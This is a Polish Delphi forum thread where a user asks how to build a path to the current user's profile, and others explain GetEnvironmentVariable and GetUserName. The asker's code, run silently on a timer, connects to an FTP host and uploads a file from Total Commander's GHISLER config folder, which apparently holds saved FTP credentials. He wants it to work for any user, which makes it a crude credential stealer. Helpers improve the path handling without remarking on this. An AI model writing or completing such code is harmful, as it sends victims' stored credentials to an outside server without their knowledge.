Komenda aktywny użytkownik [pilne!]

0

Witam wszystkich.
Chciałbym dowiedzieć się jaka jest komenda na aktywnego użytkownika.
Np. Na dysk systemowy jest %windir% no to jak będzie w takiej ścieżce?

FileExists('%windir%\Users\aktywny_użytkownik\desktop\nazwa_pliku')
Jak zmienić "aktywny_użytkownik" na jakieś sensowne konto, które jest aktualnie aktywne?

0

I ewentualnie pierwsza pozycja w http://tinyurl.com/4omrqva

0

Ok, dzięki ;)
Szukałem w google, tylko, że pod złym hasłem ;P.

0

No tak... Tylko, że nie działa.

Wpisałem

idftp1.Put('C:\%HOMEPATH%\AppData\Roaming\GHISLER\plik.rozszerzenie','plik.rozszerzenie', true);

i nie wysyła, a tak

idftp1.Put('C:\Kuba\AppData\Roaming\GHISLER\plik.rozszerzenie','plik.rozszerzenie', true);

działa... Proszę o pomoc!

0

GetEnvironmentVariable()

0

Kur... No sorry chłopaki, ale nie wiem jak to tam wstawić...
Zamieszczę kawałek kodu.
Po prostu chciałbym, aby program był uniwersalny, a nie tylko na użytkownika "Kuba". Próbuję, próbuję, ale się nie da ;P

  uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdFTP, StdCtrls, IdSocks, ExtCtrls, shellapi;

type
  TForm1 = class(TForm)
    IdFTP1: TIdFTP;
    IdSocksInfo1: TIdSocksInfo;
    Timer1: TTimer;

    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm;



implementation

{$R *.dfm}





procedure TForm1.Timer1Timer(Sender: TObject);
begin

Timer1.Enabled:=false;
idftp1.Password:='********** ;P';
idftp1.Username:='**********';
idftp1.Host:='*****';
idftp1.Connect(true,-1);



if FileExists ('C:\Users\Kuba\AppData\Roaming\GHISLER\plik.ini') then
idftp1.Put('C:\Users\Kuba\AppData\Roaming\GHISLER\plik.ini','plik.ini', true);

 
0

du*a tam sie nie da.... pokaz jak probujesz to zrobic z uzyciem GetEnvironmentVariable()

0

Ale kombinujecie...

{Jak odczytać nazwę zalogowanego użytkownika? }
function GetLoginName: string;
var
 lBuffer: array [0..128] of Char;
 lSize: DWORD;
begin
 lSize := SizeOf(lBuffer);
 if GetUserName(lBuffer, lSize) then Result := Trim(lBuffer)
 else Result := '';
end;

{lub}
function PobierzNazweUzytkow: string;
const
 cnMaxNameLen = 254;
var
 sName: string;
 dwNameLen: DWORD;
begin
 dwNameLen := cnMaxNameLen - 1;
 SetLength(sName, cnMaxNameLen);
 GetUserName(PChar(sName), dwNameLen);
 SetLength(sName, dwNameLen);
 Result := sName;
end;
0
 unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdFTP, StdCtrls, IdSocks, ExtCtrls, ShellApi;

type
  TForm1 = class(TForm)
    IdFTP1: TIdFTP;
    IdSocksInfo1: TIdSocksInfo;
    Timer1: TTimer;

    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm;
  sciezka: pchar;

implementation

{$R *.dfm}





procedure TForm1.Timer1Timer(Sender: TObject);
begin

getenvironmentvariable('USERPROFILE',sciezka,255);

Timer1.Enabled:=false;
idftp1.Password:='*************';
idftp1.Username:='*************'';
idftp1.Host:='cba.pl';
idftp1.Connect(true,-1);



if FileExists('C:\WINDOWS\plik.ini') then
idftp1.Put('C:\WINDOWS\plik.ini','plik.ini', true)

else if FileExists ('C:\'sciezka'\AppData\Roaming\GHISLER\plik.ini') then
idftp1.Put('C:\'sciezka'\AppData\Roaming\GHISLER\plik.ini','plik.ini', true);

Wiem, że wypisałem tam głupoty, ale już na serio nie mam pomysłów.
Jak dwie linijki, to czemu nie napisałeś?

0

przykłady użycia GetEnvironmentVariable

var
  buf: array [0..MAX_PATH] of Char;
begin
  GetEnvironmentVariable('USERNAME', buf, SizeOf(buf));
  ShowMessage(buf);
  GetEnvironmentVariable('USERPROFILE', buf, SizeOf(buf));
  ShowMessage(buf);
  //itd...
end;
0

Ok, dzięki - to się na pewno przyda. Sprawdzę potem, bo teraz nie mam jak ;)
A jak dodać zmienną do ścieżki?

C:\Users\'zmienna'

czy jakoś inaczej?

0
//...
var
  Zmienna : string;
begin
  Zmienna := 'Takie banały to w dziale Newbie!';
  Caption := 'C:\NIE_UCZYSZ_SIE_PODSTAW\' + Zmienna;
//...
end;
0

A może tak:

 FileExists('%windir%\Users\aktywny_użytkownik\desktop\nazwa_pliku')  
0

Sorry, tak:

 FileExists('%userprofile%\AppData\Local\Temp') 
0

Nie działa... Może ktoś po prostu edytować moje źródełko, sprawdzić i wkleić?
Bo posty typu "Jaki żal, on nie wie" są bezsensowne i niepotrzebne.

Nie jest tak, że nie uczę się podstaw xd.
Umiałem delphi, pisałem fajne programy, ale to było 2 lata temu i dużo pozapominałem..

0

cubus95: czegoś nie wiesz czy nie pamiętasz to się googluje, co Tobie ludzie mają innego napisać, a
ja podałem Tobie przykład jak dodać zmienną do innego stringa. Jeżeli natomiast nie wiesz jak działa
funkcja FileExists czy jakaś inna to tak jak pisałem, googlujesz albo wciskasz F1 po zaznaczeniu jej.
Z czym dalej masz problem? Pewnie nawet nie spojrzaleś, że ścieżki są zwracane bez "" na końcu.

//...
function AddBackSlash(Path : string) : string;
begin
  Result := '';
  if Path = '' then
  begin
    Exit;
  end;
  if Path[Length(Path)] <> '\' then
  begin
    Result := Path + '\'
  end
  else
  begin
    Result := Path;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  Buf : array [0..MAX_PATH] of Char;
begin
  GetEnvironmentVariable('WINDIR', Buf, SizeOf(Buf));
  if FileExists(AddBackSlash(Buf) + 'win.ini') = True then
  begin
    ShowMessage('Plik win.ini w %WINDIR% istnieje, a Ty się ucz podstaw!');
  end
  else
  begin
    ShowMessage('Plik win.ini w %WINDIR% NIE istnieje, ale i tak się ucz podstaw!');
  end;
end;

O to chodzi?

1 użytkowników online, w tym zalogowanych: 0, gości: 1